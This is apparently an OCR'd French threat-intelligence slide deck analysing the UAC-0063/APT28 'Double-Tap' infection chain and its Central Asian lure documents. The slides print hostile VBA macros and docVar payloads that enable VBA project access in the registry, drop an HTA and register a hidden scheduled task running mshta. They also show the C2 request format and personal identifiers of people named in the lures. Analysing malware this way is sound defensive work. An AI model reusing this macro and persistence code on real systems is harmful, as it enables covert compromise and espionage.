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CHASSEUR-CUEILLEUR EN CTI

La cueillette ou la veille CTI



La veille spécialisée en CTI
Identifier et suivre les bonnes sources

Travail de capitalisation

Modélisation format STIX

Vérification et contextualisation

Création de nos régles de détection
(YARA, Trackers C2)
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Search the blog

Research Threat intelligence
Microsoft Defender Threat actors

13 min read

Silk Typhoon targeting IT
supply chain

By Microsoft Threat Intelligence

£ Light % )

SPAWNCHIMERA Malware: The Chimera
Spawning from Ivanti Connect Secure
Vulnerability

@D &

In January 2025, Ivanti published an advisory[1] regarding the vulnerability CVE-2025-0282 in Ivanti Connect Secure. JPCERT/CC has confirmed
muttiple cases of this vulnerability being exploited in Japan since late December 2024, prior to the disclosure of the vulnerability. and published a
@cunty alert[2]. This vulnerability has already been used by multiple attack groups. )




Regles YARA sur les malwares décrits

La pose de collets ...

@}n UAC-0063 (possibly APT28) conducts cyber espionnage campaign with HATVIBE and C...

Type Campaign  Confidence (7) Created at ;‘b‘:{m‘"""“‘*g odiried at Feil

HATVIBE and CHERRYSPY
Details Threat Context  Reports External references Graph exploration

&1 UAC-0063 (possibly APT28) conducts cyber espion... | E0

Details  Relationships

TLP WHI

Confidence 1

Sources go.recordedfuture.com @ @

Sekoia.io @)

cert.gov.ua @
www.bitdefender.com )

Aliases UAC-0063 (possibly APT28) conducts cyber

espionnage campaign with HATVIBE and

CHERRYSPY
Objective Espionage @
First seen Dec 1, 2022 Ukraine:
Description
Since at least July 2024, UAC-0063 (possibly APT28) conducts intel Karalidan
gathering campaign to support Russia's war in Ukraine. @

Ceniral Asia

This campaign is active since end of 2022. The attack was primarily
directed at a research institution in Ukraine, employing the HATVIBE
and CHERRYSPY malware. With medium confidence, it can be
stated that the actor UAC-0063 is associated with the activities of
the APT28 group. This group bears a direct connection to the GRU,
the Main Directorate of the General Staff of the Armed Forces of the
Russian Federation.

During the initial stages of the attack, an employee's email account
was compromised and used to send a modified version of a recently 7

0,2025
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LE COLLET SE REFERME H#Chasseur

La chaine d'infection Double-Tap et ses spécificités



La chaine d’infection Double-Tap
Hunting des documents

apt susp APT28 UAC0063 Malicious Doc : {

intrusion set = "UAC-0063"

description = "Detects some suspected APT28 document settings.xml"
source = "Sekoia.io"

notification = "kktiyJ7oct7gtdr69ucsbnl1896h"

creation date = "2024-07-25"

$ = "Sub pop() : : End Sub"

$ = "ergegdr"

$ = "$localappdata$\\Temp"

$ = "sub document open()"

2 < 1MB

vt.metadata.new file




La chaine d’infection Double-Tap
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La chaine d’infection Double-Tap

Hunting des documents

Rem Attribute VBA ModuleType=VBADocumentModule
Option VBASupport 1
Public objApp, wsl
Function danger ()
danger = ActiveDocument.Variables.Item("s2")
End Function
Function kokokokoko (namedoc)
Set doc2 = objApp.Documents.Open (namedoc)
doc2.Save
doc2.Close
End Function
Sub verydanger ()
strng = "WSc" & "ript.She"
strng = strng & "11"
Set wsl = CreateObject (strng)
wsl.RegWrite "HK" & "CU\Softw" & "are\Micr" & "osoft\Of"
"fice\" & Application.Version & "\Wo" & "rd\Sec" & "urity\Acce" &
"ssvBO" & "M", 1, "REG D" & "WORD"
End Sub

&

Sub documeNt opEn ()
On Error Resume Next
ActiveDocument.Unprotect ("oikmseM#*inmowefj8349an3")
For i = ActiveDocument.Shapes.Count To [...]
ActiveDocument.Shapes (i) .Delete
Next 1
If Now() - sss < TimeValue ("00:00:15") Then Exit Sub
verydanger
[...]
doc.Variables.Add vars.Name & "ergegdr", vars
i=1+ 1

Next

doc.VBProject.VBComponents ("ThisDocument") .CodeModule.AddFromStr
End Sub" & vbCrLf & "Sub baads () : : End
Sub" & vbCrLf & danger()

ing "Sub goods ()

tmp = wsl.ExpandEnvironmentStrings ("%$localapp" & "data$\T" &
"emp") & "\" & ActiveDocument.Name & ".doc"
doc.SaveAs2 tmp, 13
doc.Close
kokokokoko
End Sub

(tmp)

10




La chaine d’infection Double-Tap

Hunting des documents

Rem Attribute VBA ModuleType=VBADocumentModule
Option VBASupport 1
Public objApp, wsl
Function danger ()
danger = ActiveDocument.Variables.Item("s2")
End Function
Function kokokokoko (namedoc)
Set doc2 = objApp.Documents.Open (namedoc)
doc2.Save
doc2.Close
End Function
Sub verydanger ()
strng = "WSc" & "ript.She"

strng strng & "11"

Set wsl = CreateObject (strng)

wsl.RegWrite "HK" & "CU\Softw" & "are\Micr" & "osoft\Of" &

"fice\" & Application.Version & "\Wo" & "rd\Sec" & "urity\Acce" &
ALl ssv’Bo" & "M" , 1 , "REG_D ALl & "WORD n
End Sub

Sub documeNt opEn ()
On Error Resume Next
ActiveDocument.Unprotect ("oikmseM#*inmowefj8349an3")
For i = ActiveDocument.Shapes.Count To [...]
ActiveDocument.Shapes (i) .Delete

Next i

If Now() - sss < TimeValue("00:00:15") Then Exit Sub
verydanger
[...]
doc.Variables.Add vars.Name & "ergegdr", vars
i=1+1

Next

doc.VBProject.VBComponents ("ThisDocument") .CodeModule.AddFromStr
End Sub" & vbCrLf & "Sub baads() : : End
Sub" & vbCrLf & danger ()

ing "Sub goods ()

tmp = wsl.ExpandEnvironmentStrings ("$localapp" & "data%\T" &
"emp") & "\" & ActiveDocument.Name & ".doc"
doc.SaveAs2 tmp, 13
doc.Close
kokokokoko (tmp)
End Sub
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La chaine d’infection Double-Tap
Analyse de la chaine d’infection

VBA
Sub documeNt_opEn ()
On Error Resume Next
Rem Attribute VBA ModuleType=VBADocumentModule ActiveDocument.Unprotect ("oikmseM#*inmowefj8349an3")
Option VBASupport 1 For i = ActiveDocument.Shapes.Count To [...]
Public objApp, wsl ActiveDocument.Shapes (i) .Delete
4
Function danger () Next i

danger = ActiveDocument.Variables.Item("s2") [
End Function If Now() - sss < TimeValue("00:00:15") Then Exit Sub

Function kokokokoko (namedoc) verydanger

Set doc2 = objApp.Documents.Open (namedoc) ...

doc?.Save doc.Variables.Add vars.Name & "ergegdr", vars
doc2.Close i=1+1
End Function Next
Sub verydanger () doc.VBProject.VBComponents ("ThisDocument") .CodeModule.AddFromString
strng = "WSc" & "ript.She" "Sub goods() : : End Sub" & vbCrLf & "Sub baads() : : End Sub" & vbCrLf
strng = strng & "11" & danger ()
Set wsl = CreateObject (strng) tmp = wsl.ExpandEnvironmentStrings ("%$localapp" & "data%\T" & "emp")
wsl.RegWrite "HK" & "CU\SOftW" & uare\Micrn & "osoft\Of" & & "\" & ActiveDocument.Name & ".doc"
"fice\" & Application.Version & "\Wo" & "rd\Sec" & "urity\Acce" & "ssVBO" doc.SaveAs2 tmp, 13
& "M", 1, "REG_D" & "WORD" doc.Close
End Sub kokokokoko (tmp)
End Sub
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La chaine d’infection Double-Tap
Analyse de la chaine d’infection

1 [ »=

DOCX VBA
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La chaine d’infection Double-Tap
Analyse de la chaine d’infection

Mail 2 @
> — —_
8 DOCX VBA
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La chaine d’infection Double-Tap
Analyse de la chaine d’infection

o || =
DOCX VBA

A

e Déprotege le document actif, supprime les formes

ActiveDocument.Unprotect ("oikmseM#*inmowefj8349an3")

e Modifie une clé registre Windows

HKEY CURRENT USER\Software\Microsoft\Office\<Version>\Word\Security\AccessVBOM

15




La chaine d’infection Double-Tap
Analyse de la chaine d’infection

G—»:—»\/—>—

DOCX VBA DOCX VBA
A A

e Crée une instance invisible de Microsoft Word

Set objApp = CreateObject ("Word.Application™)
objApp.Visible = False

dans $LOCALAPPDATA%\Temp\ [NOM DU DOC] .doc

e Copie les variables

For Each vars In ActiveDocument.Variables

doc.Variables.Add vars.Name & "ergegdr", vars

doc.VBProject.VBComponents ("ThisDocument") .CodeModule.AddFromString "Sub
goods () : : End Sub" & vbCrLf & "Sub baads () : : End Sub" & vbCrLf &
danger ()




La chaine d’infection Double-Tap
Analyse de la chaine d’infection

m—>:—>\/—>:

DOCX VBA DOCX VBA
A A

<w:docVars>

<w:docVar w:name="1000YFENpaWIyg" w:val="3c484541443e3c4854413a4150504c49434154494f4e2049443d226d61746368706£77657222204150504c49434154494f4e"/>
[...]
<w:docVar w:name="1007vGoKROSyXh" w:val="5273572d6e3a5750522b5a21547e202b5a21544023402677457831596247782c596e3a616034624023402672097e324d4457"/>

<w:docVar w:name="blockl" w:val="Sub goods() : On Error Resume Next : Set fso = CreateObject ("Scripting.FileSystemObject") : appdir =
CreateObject ("WScript.Shell") .ExpandEnvironmentStrings ("$LOCALAPPDATAS") & "\Lookup" : fso.CreateFolder (appdir) : Set OutPutFile =
fso.CreateTextFile (appdir & "\Dispatch", True) : For j = 1 To Documents(l).Variables.Count-3 : vars = Documents (l).Variables(j) : For i = 1 To
Len (vars) : OutPutFile.Write Chr ("&H" & Mid(vars, i, 2)) : i =1 4+ 1 : Next : Next : OutPutFile.Close : End sub"/>

<w:docVar w:name="block2" w:val="Sub baads() : On Error Resume Next : Set svc = CreateObject ("Schedule.Service") : Call svc.Connect : Set td =
svc.NewTask (0) : Set sets = td.settings : sets.Enabled = True : sets.Hidden = True : Set tr = td.triggers.Create(l) : tr.StartBoundary =

Year (Now) & "-" & Right("0" & Month(Now), 2) & "-" & Right ("O0" & Day(Now), 2) & "T" & Right("0" & Hour (Now), 2) & ":" & Right("0" & Minute (Now),
2) & ":" & Right ("0" & Second(Now), 2) : tr.Enabled = True : tr.Repetition.Interval = "PT4M" : Set act = td.Actions.Create(0) : act.Path =
"C:\Windows\System32\mshta.exe" : act.Arguments = CreateObject ("WScript.Shell") .ExpandEnvironmentStrings ("$LOCALAPPDATAS") & "\Lookup\Dispatch'":
Call svc.GetFolder ("\").RegisterTaskDefinition ("Lookup\Dispatch", td, 6, , , 3) : End Sub"/>

<w:docVar w:name="s2" w:val="Sub docUment oPen() : : : ActiveDocument.VBProject.VBComponents (1) .CodeModule.AddFromString
activedocument.variables.item("blocklergegdr"): : ActiveDocument.VBProject.VBComponents (1) .CodeModule.AddFromString
activedocument.variables.item("block2ergegdr") : : goods : baads : Me.Close :End Sub"/>

</w:docVars> 17




La chaine d’infection Double-Tap
Analyse de la chaine d’infection

=1 & || & <f>
VBA Task MSHTA HTA

e Crée un fichier HTA

dans $LOCALAPPDATA%\Lookup\Dispatch

For 1 = 1 To Len(vars)
OutPutFile.Write Chr ("&H" & Mid(vars, i, 2))
i=1+1

Next

e Crée une tache planifié : mshta.exe + HTA

Toutes les 4mn

Call svc.GetFolder ("\").RegisterTaskDefinition ("Lookup\Dispatch", td, 6, , ,




La chaine d’infection Double-Tap
Analyse de la chaine d’infection

<> —
HTA VBA
A
<HEAD>
<HTA:APPLICATION
ID="matchpower"
APPLICATIONNAME="matchpower"
WINDOWSTATE="minimize"
MAXIMIZEBUTTON="no"
MINIMIZEBUTTON="no"
CAPTION="no"
SHOWINTASKBAR="no"
BORDER="none"
SINGLEINSTANCE="yes"
>
</HEAD>
<span id=lookupspan>loading...</span>
<script Language="VBScript.Encode" defer>
#Q~~ NAWAAA== P3MDKDP"+k; :[[PH+XYQ@#Q@&Skx9GhcD+kr"+:W, ! S!Q#Q&Sk

[...]
PkOD@#Q&5KOCAA=="#~(@

</script>

19




La chaine d’infection Double-Tap
Analyse de la chaine d’infection

VBA
Masque sa fenétre
window.resizeTo 0,0
window.moveTo -2000,-2000
Déchiffre son code
text = temp("194 [...] 538"™)
a =a & Chr("¢H" & Mid(h,1,2))
str = str & Chr (Asc (Mid(text,j+1,1)) Xor Asc (Mid("w8 [...] 0O0O", (J Mod Len("w8 [...] OO")+1),1)))

20




La chaine d’infection Double-Tap
Analyse de la chaine d’infection

PUT /match.php
Accept: */*
L C2
Content-type: application/json
User-Agent: [DESKTOP NAME| [USERNAME] ®
Host: [C2]
{ ()
lére partie ‘olamerjdas’: "w8R211u82S3BcVxy68wq8600°,
"xygkwomcps": "[DESKTOP NAME] [USERNAME]",
‘qplasmvkid"”: 1
}
= | 12000k P )
sd5ddf3e3f [..] f6e650d0a
VBA VBA encodé en Hex and chiffré via XOR

2éme partie

VBA

21




La chaine d’infection Double-Tap
Analyse de la chaine d’infection

(200 OK

v
Content-type: application/json
\ User-Agent: [DESKTOP NAME]| [USERNAME]
y= |—— Host: [C2]
VBA {
2éme partie "olamerjdas™ "w8R211u82S3BcVxy68wq8600°,
"xygkwomcps": "[DESKTOP NAME] [USERNAME]"
}
200 OK
< _ <
[ vide ]

sd5ddf3e3f |...] f6e650d0a /

VBA encodé en Hex and chiffré via XOR

PUT [power.php
Accept: */*

]

Cc2

VBA attendu, actuellement vide

VBA

22




La chaine d’infection Double-Tap
Analyse de la chaine d’infection

200 OK

VBA

C2

=

<
[ vide |
VBA attendu, actuellement vide
PUT [lookup.php
—_— |
[ données inconnues |
1
- 200 OK
T | L 4
données inconnues]|
Python

CHERRYSPY

23




La chaine d’infection Double-Tap
Analyse de la chaine d’'infection : Zebrocy

Mail
< T o = v = “ ] | o=
DOCX VBA DOCX VBA Task MSHTA HTA VBA

e Technique de document Double-Tap
e Clé de registre Windows modifiée

e Création de tadches planifiées

AUTHORS

HH Zebrocy is Russian speaking APT that presents a strange set of stripes. To keep things simple,
. C2 utl I I SG nt u n qukend PH P there are three things to know about Zebrocy

Zebrocy is an active sub-group of victim profiling and access specialists

Zebrocy maintains a lineage back through 2013, sharing malware artefacts and similarities with
BlackEnergy

The past five years of Zebrocy infrastructure. malware set. and targeting have similarities and
overlaps with both the Sofacy and

A Dish before the Main Course

24




LE TABLEAU DE CHASSE

Analyse des documents leurres



Analyse des documents leurres

KRIPIREE PECIYVETHKACKHEIH KOPT 00 MEHHCTPIHIHHENH 3 APABIK ACKEPIH
KBIMATTAINTAIK BAINKE] BAIKAPAATLITBI

TIJABHOE JTIPABTEHHE MEKTVHAPQIHOTO BOFHHOTO COTPYIHHHECTI
MHHHCTEPCTBA OFOPOHE! KIPTHICKOH PECTIVETHEH

MAIN INTERNATIONAL MILITARY COOPERATION DEPAKIMENT OF THE MINISTRY (
DEFENCE OF THE KYRCYZ REPUBLIC

" » 2022r. e N

Cpo4no!

MuHHCTEPCTBAM
H 3Arpasy™pexIeHaaM
Knipreizckoi PecmyGank

OT mMeHH ynpan:lemm MC'K.I}"HBPO,:U{DTD BOEHHOTO CDTP}’.C(H]]"!ECTE
MunncTepcIBa 060poHsl Kelprezckoli PecyGuHxkn coolluaeM, 4T0 B X04e Hadar
00BABIIeHHON paHee cnemonepamni KHP B oTHomeHHH TafiBaHA, HA JaHHBI

MANEITT  ARTT AadITEeTMaRATET AmAAcTRATITEIS MATTLY TIANAWATITG OS]

The message cannot be displayed.
Please update the document or enable content

«MATIONAL
ATOMIC COMPANY
“KAZATOMPROM = J5C

HM H IABHCHMEIM OPTaHHEIANHEAM
AK «KazaToMmpom»
CKY)

remcTea  Pecmyvimmrn  KazaxcTan
-20 o1 25.01.2022 roga EACATEIBHD
BCEX PYKOBOINTETEH, HMEHONIX
MEHUA CIUCKA, COIIACHO KOTOPOIo

CHM HPeICTABHTE 3AlPAINTHBACMYHD
B AQO «HAK «KazaToMmpods»
il sHBaps TEKYIIEro roja B agpec

HATETHHEIN ~ BOTPOCOR,  MPOCHM

4.) WM HANPABHTE 10 3IeKTPOHHO
pom.kz).

BarsipOaes A.A

KAJAKCTAH PECITVE. THKACH] OEHTP EE[(IPOPZ\IA]IHOEHOﬁ
CBIPTKBI ICTEP BE30IDACHOCTH
MHHHCTPIITT IIPH MHHHCTEPCTBE
AKIIAPATTBIK KAVIIICT3IIK HHOCTPAHHBIX JET
OPTAIBIEBL PECTIVEIHKH KA3AXCTAH
010000, Hyp-Cyres samcs, 01000, ropeg Hyp-Cyzme,
T Kpezes semeci, 31 rmepar v Temmywauese Ky, imeme 31
T1-05-13 ren.: 71-01-34, T2-04-14

“ » 20210

e Ne 1-0/19534-1 o1 21.07.2021

Cpo1no!

PykoBoJHTEIAM 3arpaHyIpesIeHmil
Pecnybnuka Kazaxcran

Hactosmus coofmaes., 9o B LleHTp DpoJoii&aloT IOCTYHATE CBEJeHHT
O TOMEITEAX HEeCZHKITHOHHPOBAHHOTO JOCTYIA TPeTRHMH JHIIAMH K pecypcaM
sarpaHy9peseaeHni Pecryomakn Kazaxcran.

Ilo stoff npH4YHHe, BO HcmodHeHHe [LIaHA YCHICHHA 3alIHTE HHGOPMAITHH
OTPaHHIEHHOIO pACIPOCTPAHEHHA, EO3HHKAeT HeOOXOJHMOCTE —IIOETOPHOTO
03HAKOMIICHHA PYKOBOZHTeNeH H COTPYAHHEOE 3arpaHyIpeEIeHH
¢ TpeDoBaHHAMHM OOECHeYcHHE HHPOPMAITHOHHOH OesollacHoCTH OpH pabote
E HH{OpPMATHOHHO-TENEKOMMYHEEATHOHELX COTAX.

B sroff cEAsH, mpocHM DBac emE pas OSHAKOMHIBCA C COOTESTCTEVEOITHM
HHCTPYKTaKEM NPHKPEILIEEHEM K JOKYMEHTY.

IlpunoXeHHe. HHCTPYKTZE [OJEICBATeNd OO COOMIOJEHHI TpeOoBaHHH
obecnedeHns HEGOPMANHOEHOH 0830ACHOCTH Ha §-TH IHCTAX.

ror

WHcTpykras 3¥. pdf

Crapmuii coeqHaTHCT
0 3aMATe HEQOPMANHOHHEIX PecYpPCoB A. Cageixor

7203782
w7 701 8260343
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Analyse des documents leurres

IGER: new proposal, based on TKM suggestion and
JthE last year’s text.
l

3 - : {Autor

; Yino date) T
80 ' }If parties do not agree we will include the
! / following twe corresponding sentences from last

Bl 4,/ lyear’s joint declaration:

E = 3 3 = i | “The Leaders reaffirmed their strong commitment
82 They reiterated the importance of inclusive and representative governance. Ths £ Lo the AT T ST s e S
83 lLeaders emphasmed the importance of the UN-led “Doha Format peaceful, stoble and prosperous country that
84 | Afglg anistanis waﬂd other multilateral formats and respects human rights and fundamental freedoms

0]

85 expressed their readiness to further coordinate internationally. all Afghanistan citizens, in particular women, girls

importance of an inclusive and representative
87 the UN and stressed the importance of preserving and strengthening the global

[}
1
\ ’ :
. . L and ethnic groups. They underlined the

85 The Leaders expressed their commitment to cooperate within the framework of bl il
\ \government with the active participation of all
'

88 nuclear disarmament and non-proliferation architecture under the Treaty on the |

«ethnic, confessional and political groups, of
' \respect and protection of basic

83 Non-Proliferation of nuclear weapons. [closed] “ Zg?"l’]‘;'? ggj‘:sc igggﬁmiﬂggmﬁﬁ a‘;{) C:?’L -
90 Based on the strong economic growth with a continuously increasing bilateral ',z‘f;f;gg‘;;’;y in achieving a lasting peace in

91 trade volume between Germany and the five Central Asian states, the Leaders Yautor

92 agreed to further explore promising areas for cooperation and to take respective ':""0 cate) -
93 measures, including cooperation in the fields of natural resources, ecology, GER proposal

94 environmental protection, energy including renewable energy, agriculture,

95 chemical industries, transfer and dissemination of clean and environmentally nutor

96 sound technologies as well as the training of skilled workers. [closed] ik -
97 | The Leaders reiterated their interest in possible cooperation in the area of '/ propasal; GFR aprees
98 migration and expressed their readiness to further expand cooperation in area
FATacE 93 of vocational education. [closed] lautor
2T, Tsear Pecrrybmmacss, Bespyt Memen Haramea 23.01.1982 820128451098 =
KAT3CED
28 JTear Pecnybmmaces, Befpy Jexrepesa Ezresms 04.02.2005 050204650935
KAT3CED
25 JTuzas Pacoybmoacer, Mete Taynait Beporma Boprcozsa 27121975 731227400293
aymaser, Jxoyper «dme-Bamyme
FHMEDATED
30. Jliean Pecmyommacsr, HaoaTus Myerapa Bapeapa Himonzesm 30101563 31020401301
waracsl, Kadap-Fayz aynemer
«Fazpe Taras renaparr, 1-safar
31 Jhan Peemybmmacss, Befpyt MNearmm (Arzynosa) Afmepsng 04.07.1985 830704400179
samacer, Kacmm: ayzaser Epresczsa
R A T S TR e S R i T R T A 2 W R TR MR
SR e A S TR N
2-Bararza yitnep ipaey peri exTizinam, 3 Ke3eKTIAN perives: aphip yiineri Bipisani meadpaen Bacran kepoetineai. —_—
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on the Eve of the Presidential Elections in Romania

As is known, the presidential elections in Romania will take place on November 24 (first round)
and December 8 (second round).

Explanation: The elections will consist of two rounds if no candidate gains 50% of the votes in
the first round. The President is elected for a term of 5 years, but not more than two terms.
The total cost of holding the elections amounts to 260 million euros.

Currently, 6 key candidates have been identified (out of 8 in total), who have the highest
chances of taking the position of the 5th President of the country:

Independent candidate M. Dinusan (with public support of 15.36%).

On September 11, former Deputy Secretary General of NATO, M. Dinusan, announced his candidacy
for the presidential elections.

Strengths: Extensive political experience, held a high-ranking position in NATO (2019-2024),

and enjoys high popularity among the population.

Weaknesses: Previously ran for president as a candidate from the Social Democratic Party but

lost the elections in 2020. Lacks current support from any party structure.

Chairman of the Social Democratic Party, Prime Minister of Romania M. Ciolacu
(support level: 18-25%).

Oon August 24, M. Ciolacu was re-elected as the leader of the Social Democratic Party and was
nominated as the party's candidate for the presidency.

Strengths: The Social Democratic Party won local elections and secured first place in the
elections to the European Parliament (June 2024), showing a high level of popularity among the
population.

Weaknesses: Representatives of the Social Democratic Party are criticized for corruption, weak
recognition in international circles, and the fact that the Social Democrats have not won
presidential elections in the past 20 years.
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They reiterated the importance of inclusive and representative governance. The

expressed the1r readiness to further coordmate internationally.

The Leaders expressed their commitment to cooperate within the framework of
the UN and stressed the importance of preserving and strengthening the global
nuclear disarmament and non-proliferation architecture under the Treaty on the
Non-Proliferation of nuclear weapons. [closed]

Based on the strong economic growth with a continuously increasing bilateral
trade volume between Germany and the five Central Asian states, the Leaders
agreed to further explore promising areas for cooperation and to take respective
measures, including cooperation in the fields of natural resources, ecology.
environmental protection, energy including renewable energy, agriculture,
chemical industries, transfer and dissemination of clean and environmentally

sound technologies as well as the training of skilled workers. [closed]

The Leaders reiterated their interest in possible cooperation in the area _o_f_ ________
migration and expressed their readiness to further expand cooperation in the area
of vocational education. [closed]

The Leaders agreed to promote cooperation and development of the Trans
Caspian Corridor as a sustainable and efficient multimodal transport link between
Central Asia and Europe and support the participation of German railway and

logistic companies in transport, infrastructure and consulting projects. [closed]

The ILeaders underlined the importance of improving railway connectivity in the
region and agreed to also further develop the Trans-Caspian Corridor thus
confributing to achieving the goals of the EU’s Global Gateway Strategy in the
region. [closed]

The Leaders reaffirmed their strong commitment to the development of
Afghanistan as a secure, peaceful, stable and prosperous country that
respects human rights and ffundamental freedoms of all Afghanistan
citizens, in particular women, girls and ethnic groups. They underlined the
importance of an inclusive and representative governiment with the active
participation of all ethnic, confessional and political groups, of respect and
protection of basic human rights and fundamental freedoms of all
Afghanistan citizens as well as the restoration of the economy in achieving
a lasting peace in Afghanistan.

The Leaders emphasized the importance of the UN-led “Doha Format” on
Afghanistan and other multilateral formats and expressed their readiness to
further coordinate internationally.

The Leaders expressed their commitment to cooperate within the
framework of the UN and stressed the importance of preserving and
strengthening the global nuclear disarmament and non-proliferation
architecture under the Treaty on the Non-Proliferation of nuclear weapons.

Lo

Presse- und Informationsamt
der Bundesregierung

Seite4 von 6

Based on the strong economic growth with continuously increasing
bilateral trade volumes between Germany and the five Central Asian states,
the Leaders agreed to further explore promising areas for cooperation and

to take respective measures, including cooperation in the fields of natural

32




Les documents appartiennent ou sont issus du Ministére des Affaires Etrangéres de la

République du Kazakhstan

t Document Title or subject
j Date Context
description
KBIFTRE PECIIVETHRKACKHLH KOPTOO MHHHCTPIHIHHHH 31 APATLIE ACKEPTIT
FBIMATTAIITRIE BAINEER] BAIKAPAATRITBI
TJABHOE YTIPABIEHHE MEATVHAPQIHOIO BOEHHOTO COTPYIHIYECTI
MHHFICTEPCTEA OROPOHB! KMPTBIICKOH PECIDBTHER
MAIN INTERNATIONAL MILITARY COOPERATION DEPARTAMENT OF THE MINISTRY « biais Intarnalianal Lille 5
DEFENCE OF THE KYRCYZ REPUBLIC vl wernational Military
Cooperation Department of the AN 2022 Chinese military exercises
A ‘. Wr M Frada__ - Ministry of Defense of the Kyrgyz —— around Taiwan
Republic
HaMe or I
docu
MINISTRY OF DEFENSE OF THE KYRGYZ REPUBLIC
Cpotno!
MAIN INTERNATIONAL MILITARY COOPERATION DEPARTMENT OF THE MINISTRY OF DEFENSE OF THE KYRGYZ
t Munucrepersam| REPUBLIC

H 3arpamyapesy
KnIpreiickoii Peq

OT HMeHH YOpaBIcHHA MCARIYHAPOIHOIO BOCHHOIO COTPY)
MHHHCTePCTEA 000POHE! KEIPIBIZeKOM PecryO/HKH coo0IIaseM, 910 B X
o0baABNeHHOH paHee cremonepammi KHP B oTHomeHuH TaiiBaHa, H

MOVATT  ARITH  aadireinnaRaEET MENVEACTRATEETA  hat TR monawetrae

L

2022 Ne

To N2

Urgent!

To Ministries
and Foreign Institutions
of the Kyrgyz Republic

On behalf of the International Military Cooperation Department of the Ministry of Defense of the
Kyrgyz Republic, we inform you that during the previously announced special operation of the
People's Republic of China against Taiwan, numerous facts have been recaorded .
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KA3AKCTAH PECIIVEIHKACBI LEHTP HHEOPMAIIAOHHOR
CBIPTKBI ICTEP @\H@ BE30IMACHOCTH
MHHHCTP.IITT ﬁ, ; p} I[IPH MHHACTEPCTBE
AKIIAPATTHIK KAVIICI3IIK |0, 40 Lo HHOCTPAHHEIX JEI
OPTAJIBIFBI ' PECIIVEJIHKH KA3AXCTAH

010000, ropea Hyp-Cyorres)

010000, Figp-Cyrres samacs,
v ey rauere Kyenass, speme 3]

Tinzyer \pazesmm;l FHERET
1em: 72401-34, T1-03-13 Tam: 72-01-34, T2-04-14
2021 sz = », 20210

e Ne 1-0/19534-em ot 21.07.2021
Cpo1no!

PyKOBOJHTeIAM 3arpaEydpesIeHni
Pecnyonukn Kazaxcran

Hactosmmy coobmaen, =@to B LleHTp DpomomxaloT NOCTYHATE CEEIEHHA
0 MNONHTEAX HecaHKNHOHHPOEAHHOTO [OOCTYVIA TpeTEHMH [HIAMH E pecypcad
3arpaHyipexeneHni Pecryomakn Kazaxcran.

Ilo 3To#f mpHYHHE, BO HCHONHeHHe [11aHa YCHISHHS 3aliHTHl HHOOPMAIHH
OTPaHHYEHHOI® PACHPOCTPAHEHHA, EO3HHKAeT HeoOXOZHMOCTE INOETOPHOTO
0ZHAKOMIEHHS PYKOEOJHTENEH H COTPYAHHKOE 3arpaHyIpekIeH i
¢ TpeGoBAaHMAMMM OOecHedeHHT HHGOPMANTHOHHOHR GezomacHocTH HpH pafote
E HH(OPMAHOHHO-TENeKOMMYHHEAMHOHELX CETAX.

B »3T0f ceazH, mpocHM Bac emE pa: OHAKOMHTECA C COOTEETCTEVEOITHM
HHCTPYETaEM IPHEPEIIEHHEEM K JOKYMEHTY.

IIpunoxeHHs. HHCTPYETAE NOONBI0EATENd DO CoOMOJeHHIO TpeDOBAHHE
obecnedennd HHEQOPMAHOHHOH Ge20MACHOCTH HA 6-TH THCTAX.

=

=cTpykTas 29 pdf

Crapmuii coenEaTnCcT

0 3AMATE AEQOPMANEOHHLIX PeCYPCOB A. CaguIkoB

Hew: A Caiveivos
Tax: 7203782
ma.+7 701 6260343
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{ Foreign Affairs - Center for

nation Sacurity - Interna

21/87,/2021

To the Heads of Foreign Institutions of the Republic of Kazakhstan

We hereby inform you that the Center continues to receive reports about attempts of
unauthorized access by third parties to the resources of foreign institutions of the
Republic of Kazakhstan.

In this regard, to implement the Plan for strengthening information protection with
limited distribution, there is a need for repeated familiarization of the heads and
employees of foreign institutions with the requirements for ensuring information
security when working in information-telecommunication networks.

In this connection, we ask you once again to familiarize yourself with the relevant
instructions attached to this document.

Attachment: User instruction for compliance with information security requirements (6
pages) .

Signed:
Senior Specialist for Information Resource Protection
A. Sadikov
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Eléments de contexte géopolitique Asie centrale / Kazakhstan

Pourquoi le Kazakhstan serait-il une cible
du renseignement Russe ?

Le Kazakhstan n’a pas soutenu
I'agression Russe de I'Ukraine

Astana cherche a diversifier ses
partenaires économiques (UE, Chine,
Asie centrale)

Zone d'influence historique de la Russie

Contrebalancer l'influence d’autres
puissance dans la zone
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Et donc, quelle attribution ?

Victimologie
Asie centrale

Kazakhstan

Relations internationales
Coopération économique
Spatial, énergie

Principe du
DoubleTap

Technique de Double-Tap
Clé de registre Windows
modifiée

Création de taches
planifiées

C2 utilisaQt un backend PHP

UAC-0063

Similarité avec Attribution d’autres
Zebrocy acteurs

Sous cluster d’APT28 CERT-UA

Ciblage Asie Centrale BitDefender

Période d’'activité 2015 -2020 Secret source
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CERT-UA

Computer Emergency Response Team of Uksaine
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LUnuryHcebka aktushicts UAC-0063 y sigHoweHHi

Ykpainu, Kazaxcrany, Kupruscrany, Mowronii, I3painio,

Inpii (CERT-UA#6549)
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BUITARI ROKyMENTY 3 MaKPOCOM, 3 IpYTHA - NOCHRGHKR Ka TO CaMMit AOKYMEHT.

3a temoto «Intel>

Ocobmmsocti  RecTpyKTUBHAX
Sandworm y  siawowenni
nposaepio (CERT-UA#7627)

WinRAR s “xiepa6pos"

i6eparax

yrpainickmx

= Y

CERT-UA

Computer Emergency Respona Team of Ukcane

, Kouran nivisniQ o

UAC-0063 atakye HaykoBo-poChigHi ycTaHosn Ykpainu:
HATVIBE + CHERRYSPY + CVE-2024-23692 (CERT-
UA#10356)

Saranuua inopusuin 35 reiiois ALINSs
Vpraoson KomaNAOO pearysana ka Komn'orepi Nazsseani ol Vepainu CERT-UA

Rochizxeno Kibeparaky yrpynysann UAC-0063, aaifcieny 08.07.2024 no siavowennio 20

ORHIEl 3 YKPAINCAXINK HaYXOBO-ROCAIANHX YETAHOB 3 BMKOPHETaHIAM WKIATHBHX NOTPIM  UAC-0173 np
HATVIBE 1a CHERRYSPY. A7)
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enexponnol nowk cnispoBiTiuika yerauosk, SaCHMD BIANPABKY KONl HeWORANNO

GIARPARNEHOO MMCTA AGCATKAM IAPCCATID (BKMIONEIOWM CaMOrO BIANPasHK), Jaminmawn  Llinvosa axrwenicrs UAC-0212 y sianowenni

OPHTINANLHAA AOKYMENT-SXTREHNA IHLAM AOKYMEHTON, 8 AKHA BYNO BGYAORINO MAKPOS.  pospobrmcis Ta  nocrasamswxis

¥ swnagey sinxpuirs DOCX-noxywenty 1a axrweaul maxpocy wa EOM 6yne creopewo 1a

